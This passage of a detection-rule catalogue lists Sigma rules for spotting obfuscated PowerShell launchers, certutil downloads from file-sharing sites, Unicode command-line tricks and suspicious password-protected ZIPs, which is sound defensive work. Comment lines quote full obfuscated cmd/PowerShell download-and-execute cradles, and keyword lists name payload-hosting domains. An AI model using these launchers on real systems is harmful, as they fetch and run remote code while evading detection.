        # Example 2: CMD/c " ECho Invoke-Expression (New-Object Net.WebClient).DownloadString|c:\WiNDowS\SySteM32\cLip && powershElL -noPRO -sTa ^& (\"{2}{0}{1}\" -f 'dd',(\"{1}{0}\"-f 'ype','-T' ),'A' ) -AssemblyN (\"{0}{3}{2}{1}{4}\"-f'Pr','nCo',(\"{0}{1}\"-f'e','ntatio'),'es','re' ) ; ^& ( ( [StRinG]${ve`RB`OSE`pr`e`FeReNCE} )[1,3] + 'x'-JoiN'') ( ( [sySTem.WInDOWs.ClipbOaRD]::( \"{1}{0}\" -f(\"{0}{1}\" -f'tTe','xt' ),'ge' ).\"IN`Vo`Ke\"( ) ) ) ; [System.Windows.Clipboard]::( \"{2}{1}{0}\" -f't',( \"{0}{1}\" -f 'tT','ex' ),'Se' ).\"In`V`oKe\"( ' ' )"
        CommandLine|contains|all:
            - 'cmd'
            - '&&'
            - 'clipboard]::'
            - '-f'
        CommandLine|contains:
            - '/c'
            - '/r'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE

Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.

status test author Nasreddine Bencherchali (Nextron Systems) id 42a5f1e7-9603-4f6d-97ae-3f37d130d794 license Sigma · DRL-1.1

view Sigma YAML

title: Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE
id: 42a5f1e7-9603-4f6d-97ae-3f37d130d794
related:
    - id: 19b08b1c-861d-4e75-a1ef-ea0c1baf202b # Direct IP download
      type: similar
    - id: 13e6fe51-d478-4c7e-b0f2-6da9b400a829 # Generic download
      type: similar
status: test
description: Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
    - https://forensicitguy.github.io/agenttesla-vba-certutil-download/
    - https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/
    - https://twitter.com/egre55/status/1087685529016193025
    - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
    - https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
    - https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-02-15
modified: 2025-12-10
tags:
    - attack.stealth
    - attack.t1027
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_flags:
        CommandLine|contains:
            - 'urlcache '
            - 'verifyctl '
            - 'URL '
    selection_http:
        CommandLine|contains:
            - '.githubusercontent.com'       # Includes both gists and github repositories / Michael Haag (idea)
            - 'anonfiles.com'
            - 'cdn.discordapp.com'
            - 'ddns.net'
            - 'dl.dropboxusercontent.com'
            - 'ghostbin.co'
            - 'github.com'
            - 'glitch.me'
            - 'gofile.io'
            - 'hastebin.com'
            - 'mediafire.com'
            - 'mega.nz'
            - 'onrender.com'
            - 'pages.dev'
            - 'paste.ee'
            - 'pastebin.com'
            - 'pastebin.pl'
            - 'pastetext.net'
            - 'privatlab.com'
            - 'privatlab.net'
            - 'send.exploit.in'
            - 'sendspace.com'
            - 'storage.googleapis.com'
            - 'storjshare.io'
            - 'supabase.co'
            - 'temp.sh'
            - 'transfer.sh'
            - 'trycloudflare.com'
            - 'ufile.io'
            - 'w3spaces.com'
            - 'workers.dev'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_download_file_sharing_domains/info.yml

related high

Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image

Detects potential commandline obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

status test author frack113, Florian Roth (Nextron Systems), Josh Nickels id 584bca0f-3608-4402-80fd-4075ff6072e3 license Sigma · DRL-1.1

view Sigma YAML

title: Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image
id: 584bca0f-3608-4402-80fd-4075ff6072e3
related:
    - id: e0552b19-5a83-4222-b141-b36184bb8d79
      type: similar
    - id: ad691d92-15f2-4181-9aa4-723c74f9ddc3 # RTLO
      type: similar
    - id: 2c0d2d7b-30d6-4d14-9751-7b9113042ab9
      type: obsolete
status: test
description: |
    Detects potential commandline obfuscation using unicode characters.
    Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.
references:
    - https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http
author: frack113, Florian Roth (Nextron Systems), Josh Nickels
date: 2024-09-02
modified: 2025-05-30
tags:
    - attack.stealth
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith:
            - '\cmd.exe'
            - '\cscript.exe'
            - '\powershell.exe'
            - '\powershell_ise.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
        OriginalFileName:
            - 'Cmd.EXE'
            - 'cscript.exe'
            - 'PowerShell.EXE'
            - 'PowerShell_ISE.EXE'
            - 'pwsh.dll'
            - 'wscript.exe'
    selection_special_chars:
        CommandLine|contains:
            # spacing modifier letters that get auto-replaced
            - 'ˣ' # 0x02E3
            - '˪' # 0x02EA
            - 'ˢ' # 0x02E2
            # Forward slash alternatives
            - '∕' # 0x22FF
            - '⁄' # 0x206F
            # Hyphen alternatives
            - '―' # 0x2015
            - '—' # 0x2014
            # Whitespace that don't work as path separator
            - ' ' # 0x00A0
            # Other
            - '¯'
            - '®'
            - '¶'
            # Unicode whitespace characters
            - '⠀' # Braille Pattern Blank (Unicode: U+2800)
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security

Detects Obfuscated Powershell via VAR++ LAUNCHER

status test author Timur Zinniatullin, oscd.community id 4c54ba8f-73d2-4d40-8890-d9cf1dca3d30 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security
id: 4c54ba8f-73d2-4d40-8890-d9cf1dca3d30
related:
    - id: 14bcba49-a428-42d9-b943-e2ce0f0f7ae6
      type: derived
status: test
description: Detects Obfuscated Powershell via VAR++ LAUNCHER
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task27)
author: Timur Zinniatullin, oscd.community
date: 2020-10-13
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        # ServiceFileName|re: '(?i)&&set.*(\{\d\}){2,}\\\"\s+?\-f.*&&.*cmd.*\/c' # FPs with |\/r
        # Example 1: CMD /C"sET KUR=Invoke-Expression (New-Object Net.WebClient).DownloadString&&Set MxI=C:\wINDowS\sYsWow64\winDOWspoWERSheLl\V1.0\PowerShelL.EXe ${ExEcut`IoN`cON`TExT}.\"invo`kEcoMm`A`ND\".( \"{2}{1}{0}\" -f 'pt','EscRi','INvOk' ).Invoke( ( .( \"{0}{1}\" -f'D','IR' ) ( \"{0}{1}\"-f'ENV:kU','R')).\"vAl`Ue\" )&& CMD /C%mXI%"
        # Example 2: c:\WiNDOWS\sYSTEm32\CmD.exE /C "sEt DeJLz=Invoke-Expression (New-Object Net.WebClient).DownloadString&&set yBKM=PoWERShelL -noeX ^^^&(\"{2}{0}{1}\"-f '-ItE','m','seT') ( 'V' + 'a'+ 'RiAblE:z8J' +'U2' + 'l' ) ([TYpE]( \"{2}{3}{0}{1}\"-f 'e','NT','e','NViRONM' ) ) ; ^^^& ( ( [sTrIng]${VE`Rbo`SepReFER`Ence})[1,3] + 'X'-joIN'')( ( (.('gI') ('V' + 'a' + 'RIAbLe:z8j' + 'u2' +'l' ) ).vALUe::( \"{2}{5}{0}{1}{6}{4}{3}\" -f 'IRo','Nm','GETE','ABlE','I','nv','enTVAr').Invoke(( \"{0}{1}\"-f'd','ejLz' ),( \"{1}{2}{0}\"-f'cEss','P','RO') )) )&& c:\WiNDOWS\sYSTEm32\CmD.exE /C %ybkm%"
        ServiceFileName|contains|all:
            - '&&set'
            - 'cmd'
            - '/c'
            - '-f'
        ServiceFileName|contains:
            - '{0}'
            - '{1}'
            - '{2}'
            - '{3}'
            - '{4}'
            - '{5}'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Password Protected ZIP File Opened (Suspicious Filenames)

Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.

status test author Florian Roth (Nextron Systems) id 54f0434b-726f-48a1-b2aa-067df14516e4 license Sigma · DRL-1.1

view Sigma YAML

title: Password Protected ZIP File Opened (Suspicious Filenames)
id: 54f0434b-726f-48a1-b2aa-067df14516e4
status: test
description: Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.
references:
    - https://twitter.com/sbousseaden/status/1523383197513379841
author: Florian Roth (Nextron Systems)
date: 2022-05-09
tags:
    - attack.command-and-control
    - attack.stealth
    - attack.t1027
    - attack.t1105
    - attack.t1036
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 5379
        TargetName|contains: 'Microsoft_Windows_Shell_ZipFolder:filename'
    selection_filename:
        TargetName|contains:
            - 'invoice'
            - 'new order'
            - 'rechnung'
            - 'factura'
            - 'delivery'
            - 'purchase'
            - 'order'
            - 'payment'
    condition: selection and selection_filename
falsepositives:
    - Legitimate used of encrypted ZIP files
level: high

related high

Invoke-Obfuscation Via Use Clip - Security

Detects Obfuscated Powershell via use Clip.exe in Scripts

status test author Nikita Nazarov, oscd.community id 1a0a2ff1-611b-4dac-8216-8a7b47c618a6 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Use Clip - Security
id: 1a0a2ff1-611b-4dac-8216-8a7b47c618a6
related:
    - id: 63e3365d-4824-42d8-8b82-e56810fefa0c
      type: derived
status: test
description: Detects Obfuscated Powershell via use Clip.exe in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task29)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains: '(Clipboard|i'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Via Stdin - Security

Detects Obfuscated Powershell via Stdin in Scripts

status test author Nikita Nazarov, oscd.community id 80b708f3-d034-40e4-a6c8-d23b7a7db3d1 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Stdin - Security
id: 80b708f3-d034-40e4-a6c8-d23b7a7db3d1
related:
    - id: 487c7524-f892-4054-b263-8a0ace63fc25
      type: derived
status: test
description: Detects Obfuscated Powershell via Stdin in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task28)
author: Nikita Nazarov, oscd.community
date: 2020-10-12
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains|all:
            - 'set'
            - '&&'
        ServiceFileName|contains:
            - 'environment'
            - 'invoke'
            - '${input)'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Obfuscated IEX Invocation - Security

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

status test author Daniel Bohannon (@Mandiant/@FireEye), oscd.community id fd0f5778-d3cb-4c9a-9695-66759d04702a license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Obfuscated IEX Invocation - Security
id: fd0f5778-d3cb-4c9a-9695-66759d04702a
related:
    - id: 51aa9387-1c53-4153-91cc-d73c59ae1ca9
      type: derived
status: test
description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references
references:
    - https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
author: Daniel Bohannon (@Mandiant/@FireEye), oscd.community
date: 2019-11-08
modified: 2022-11-27
tags:
    - attack.stealth
    - attack.t1027
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection_eid:
        EventID: 4697
    selection_servicefilename:
        - ServiceFileName|re: '\$PSHome\[\s*\d{1,3}\s*\]\s*\+\s*\$PSHome\['
        - ServiceFileName|re: '\$ShellId\[\s*\d{1,3}\s*\]\s*\+\s*\$ShellId\['
        - ServiceFileName|re: '\$env:Public\[\s*\d{1,3}\s*\]\s*\+\s*\$env:Public\['
        - ServiceFileName|re: '\$env:ComSpec\[(\s*\d{1,3}\s*,){2}'
        - ServiceFileName|re: '\\*mdr\*\W\s*\)\.Name'
        - ServiceFileName|re: '\$VerbosePreference\.ToString\('
        - ServiceFileName|re: '\String\]\s*\$VerbosePreference'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Via Use Rundll32 - Security

Detects Obfuscated Powershell via use Rundll32 in Scripts

status test author Nikita Nazarov, oscd.community id cd0f7229-d16f-42de-8fe3-fba365fbcb3a license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Use Rundll32 - Security
id: cd0f7229-d16f-42de-8fe3-fba365fbcb3a
related:
    - id: 641a4bfb-c017-44f7-800c-2aee0184ce9b
      type: derived
status: test
description: Detects Obfuscated Powershell via use Rundll32 in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task30)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains|all:
            - '&&'
            - 'rundll32'
            - 'shell32.dll'
            - 'shellexec_rundll'
        ServiceFileName|contains:
            - value
            - invoke
            - comspec
            - iex
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation STDIN+ Launcher - Security

Detects Obfuscated use of stdin to execute PowerShell

status test author Jonathan Cheong, oscd.community id 0c718a5e-4284-4fb9-b4d9-b9a50b3a1974 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation STDIN+ Launcher - Security
id: 0c718a5e-4284-4fb9-b4d9-b9a50b3a1974
related:
    - id: 72862bf2-0eb1-11eb-adc1-0242ac120002
      type: derived
status: test
description: Detects Obfuscated use of stdin to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 25)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains|all:
            - 'cmd'
            - 'powershell'
    selection2:
        ServiceFileName|contains:
            - '${input}'
            - 'noexit'
    selection3:
        ServiceFileName|contains:
            - ' /c '
            - ' /r '
    condition: all of selection*
falsepositives:
    - Unknown
level: high

related high

Password Protected ZIP File Opened (Email Attachment)

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

status test author Florian Roth (Nextron Systems) id 571498c8-908e-40b4-910b-d2369159a3da license Sigma · DRL-1.1

view Sigma YAML

title: Password Protected ZIP File Opened (Email Attachment)
id: 571498c8-908e-40b4-910b-d2369159a3da
status: test
description: Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.
references:
    - https://twitter.com/sbousseaden/status/1523383197513379841
author: Florian Roth (Nextron Systems)
date: 2022-05-09
tags:
    - attack.initial-access
    - attack.stealth
    - attack.t1027
    - attack.t1566.001
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 5379
        TargetName|contains|all:
            - 'Microsoft_Windows_Shell_ZipFolder:filename'
            - '\Temporary Internet Files\Content.Outlook'
    condition: selection
falsepositives:
    - Legitimate used of encrypted ZIP files
level: high

related high

Invoke-Obfuscation VAR+ Launcher - Security

Detects Obfuscated use of Environment Variables to execute PowerShell

status test author Jonathan Cheong, oscd.community id dcf2db1f-f091-425b-a821-c05875b8925a license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation VAR+ Launcher - Security
id: dcf2db1f-f091-425b-a821-c05875b8925a
related:
    - id: 8ca7004b-e620-4ecb-870e-86129b5b8e75
      type: derived
status: test
description: Detects Obfuscated use of Environment Variables to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 24)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        # ServiceFileName|re: 'cmd.{0,5}(?:\/c|\/r)(?:\s|)\"set\s[a-zA-Z]{3,6}.*(?:\{\d\}){1,}\\\"\s+?\-f(?:.*\)){1,}.*\"'
        # Example 1: C:\winDoWs\SySTeM32\cmd.Exe /C"SET NOtI=Invoke-Expression (New-Object Net.WebClient).DownloadString&& PowERshElL -NOl SET-iteM ( 'VAR' + 'i'+ 'A' + 'blE:Ao6' + 'I0') ( [TYpe](\"{2}{3}{0}{1}\"-F 'iRoN','mENT','e','nv') ) ; ${exECUtIONCOnTEXT}.\"IN`VO`KecOmMaND\".\"inVo`KES`crIPt\"( ( ( GEt-VAriAble ( 'a' + 'o6I0') -vaLU )::(\"{1}{4}{2}{3}{0}\" -f'e','gETenvIR','NtvaRIa','BL','ONme' ).Invoke(( \"{0}{1}\"-f'n','oti' ),( \"{0}{1}\" -f'pRoC','esS') )) )"
        # Example 2: cMD.exe /C "seT SlDb=Invoke-Expression (New-Object Net.WebClient).DownloadString&& pOWErShell .(( ^&(\"{1}{0}{2}{3}\" -f 'eT-vaR','G','iab','lE' ) (\"{0}{1}\" -f '*m','DR*' ) ).\"na`ME\"[3,11,2]-JOIN'' ) ( ( ^&(\"{0}{1}\" -f'g','CI' ) (\"{0}{1}\" -f 'ENV',':SlDb' ) ).\"VA`luE\" ) "
        ServiceFileName|contains|all:
            - 'cmd'
            - '"set'
            - '-f'
        ServiceFileName|contains:
            - '/c'
            - '/r'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation CLIP+ Launcher - Security

Detects Obfuscated use of Clip.exe to execute PowerShell

status test author Jonathan Cheong, oscd.community id 4edf51e1-cb83-4e1a-bc39-800e396068e3 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation CLIP+ Launcher - Security
id: 4edf51e1-cb83-4e1a-bc39-800e396068e3
related:
    - id: f7385ee2-0e0c-11eb-adc1-0242ac120002
      type: derived
status: test
description: Detects Obfuscated use of Clip.exe to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 26)
author: Jonathan Cheong, oscd.community
date: 2020-10-13
modified: 2022-11-27
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains|all:
            - 'cmd'
            - '&&'
            - 'clipboard]::'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Via Use MSHTA - Security

Detects Obfuscated Powershell via use MSHTA in Scripts

status test author Nikita Nazarov, oscd.community id 9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Use MSHTA - Security
id: 9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a
related:
    - id: 7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4
      type: derived
status: test
description: Detects Obfuscated Powershell via use MSHTA in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task31)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains|all:
            - 'mshta'
            - 'vbscript:createobject'
            - '.run'
            - 'window.close'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation CLIP+ Launcher - System

Detects Obfuscated use of Clip.exe to execute PowerShell

status test author Jonathan Cheong, oscd.community id f7385ee2-0e0c-11eb-adc1-0242ac120002 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation CLIP+ Launcher - System
id: f7385ee2-0e0c-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of Clip.exe to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 26)
author: Jonathan Cheong, oscd.community
date: 2020-10-13
modified: 2023-02-20
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        ImagePath|contains|all:
            - 'cmd'
            - '&&'
            - 'clipboard]::'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Via Use Rundll32 - System

Detects Obfuscated Powershell via use Rundll32 in Scripts

status test author Nikita Nazarov, oscd.community id 641a4bfb-c017-44f7-800c-2aee0184ce9b license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Use Rundll32 - System
id: 641a4bfb-c017-44f7-800c-2aee0184ce9b
status: test
description: Detects Obfuscated Powershell via use Rundll32 in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task30)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        ImagePath|contains|all:
            - '&&'
            - 'rundll32'
            - 'shell32.dll'
            - 'shellexec_rundll'
        ImagePath|contains:
            - 'value'
            - 'invoke'
            - 'comspec'
            - 'iex'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Via Stdin - System

Detects Obfuscated Powershell via Stdin in Scripts

status test author Nikita Nazarov, oscd.community id 487c7524-f892-4054-b263-8a0ace63fc25 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Stdin - System
id: 487c7524-f892-4054-b263-8a0ace63fc25
status: test
description: Detects Obfuscated Powershell via Stdin in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task28)
author: Nikita Nazarov, oscd.community
date: 2020-10-12
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: '(?i)(set).*&&\s?set.*(environment|invoke|\${?input).*&&.*"'
        ImagePath|contains|all:
            - 'set'
            - '&&'
        ImagePath|contains:
            - 'environment'
            - 'invoke'
            - 'input'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Via Use Clip - System

Detects Obfuscated Powershell via use Clip.exe in Scripts

status test author Nikita Nazarov, oscd.community id 63e3365d-4824-42d8-8b82-e56810fefa0c license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Use Clip - System
id: 63e3365d-4824-42d8-8b82-e56810fefa0c
status: test
description: Detects Obfuscated Powershell via use Clip.exe in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task29)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        ImagePath|contains: '(Clipboard|i'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation STDIN+ Launcher - System

Detects Obfuscated use of stdin to execute PowerShell

status test author Jonathan Cheong, oscd.community id 72862bf2-0eb1-11eb-adc1-0242ac120002 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation STDIN+ Launcher - System
id: 72862bf2-0eb1-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of stdin to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 25)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection_main:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: 'cmd.{0,5}(?:\/c|\/r).+powershell.+(?:\$\{?input\}?|noexit).+\"'
        # Example 1: c:\windows\sYstEm32\CmD.eXE /C"echO\Invoke-Expression (New-Object Net.WebClient).DownloadString | POwersHELl -NoEXiT -"
        # Example 2: c:\WiNDOws\sysTEm32\cmd.EXe /C " ECHo Invoke-Expression (New-Object Net.WebClient).DownloadString | POwersHELl -nol ${EXEcUtIONCONTeXT}.INvOkEComMANd.InvOKEScRIPt( $InpUt )"
        ImagePath|contains|all:
            - 'cmd'
            - 'powershell'
        ImagePath|contains:
            - '/c'
            - '/r'
    selection_other:
        - ImagePath|contains: 'noexit'
        - ImagePath|contains|all:
              - 'input'
              - '$'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation Via Use MSHTA - System

Detects Obfuscated Powershell via use MSHTA in Scripts

status test author Nikita Nazarov, oscd.community id 7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation Via Use MSHTA - System
id: 7e9c7999-0f9b-4d4a-a6ed-af6d553d4af4
status: test
description: Detects Obfuscated Powershell via use MSHTA in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task31)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        ImagePath|contains|all:
            - 'mshta'
            - 'vbscript:createobject'
    condition: selection
falsepositives:
    - Unknown
level: high

related high

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System

Detects Obfuscated Powershell via VAR++ LAUNCHER

status test author Timur Zinniatullin, oscd.community id 14bcba49-a428-42d9-b943-e2ce0f0f7ae6 license Sigma · DRL-1.1

view Sigma YAML

title: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System
id: 14bcba49-a428-42d9-b943-e2ce0f0f7ae6
status: test
description: Detects Obfuscated Powershell via VAR++ LAUNCHER
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task27)
author: Timur Zinniatullin, oscd.community
date: 2020-10-13
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: '(?i)&&set.*(\{\d\}){2,}\\\"\s+?\-f.*&&.*cmd.*\/c' # FPs with |\/r
        # Example 1: CMD /C"sET KUR=Invoke-Expression (New-Object Net.WebClient).DownloadString&&Set MxI=C:\wINDowS\sYsWow64\winDOWspoWERSheLl\V1.0\PowerShelL.EXe ${ExEcut`IoN`cON`TExT}.\"invo`kEcoMm`A`ND\".( \"{2}{1}{0}\" -f 'pt','EscRi','INvOk' ).Invoke( ( .( \"{0}{1}\" -f'D','IR' ) ( \"{0}{1}\"-f'ENV:kU','R')).\"vAl`Ue\" )&& CMD /C%mXI%"
        # Example 2: c:\WiNDOWS\sYSTEm32\CmD.exE /C "sEt DeJLz=Invoke-Expression (New-Object Net.WebClient).DownloadString&&set yBKM=PoWERShelL -noeX ^^^&(\"{2}{0}{1}\"-f '-ItE','m','seT') ( 'V' + 'a'+ 'RiAblE:z8J' +'U2' + 'l' ) ([TYpE]( \"{2}{3}{0}{1}\"-f 'e','NT','e','NViRONM' ) ) ; ^^^& ( ( [sTrIng]${VE`Rbo`SepReFER`Ence})[1,3] + 'X'-joIN'')( ( (.('gI') ('V' + 'a' + 'RIAbLe:z8j' + 'u2' +'l' ) ).vALUe::( \"{2}{5}{0}{1}{6}{4}{3}\" -f 'IRo','Nm','GETE','ABlE','I','nv','enTVAr').Invoke(( \"{0}{1}\"-f'd','ejLz' ),( \"{1}{2}{0}\"-f'cEss','P','RO') )) )&& c:\WiNDOWS\sYSTEm32\CmD.exE /C %ybkm%"
        ImagePath|contains|all:
            - '&&set'
            - 'cmd'
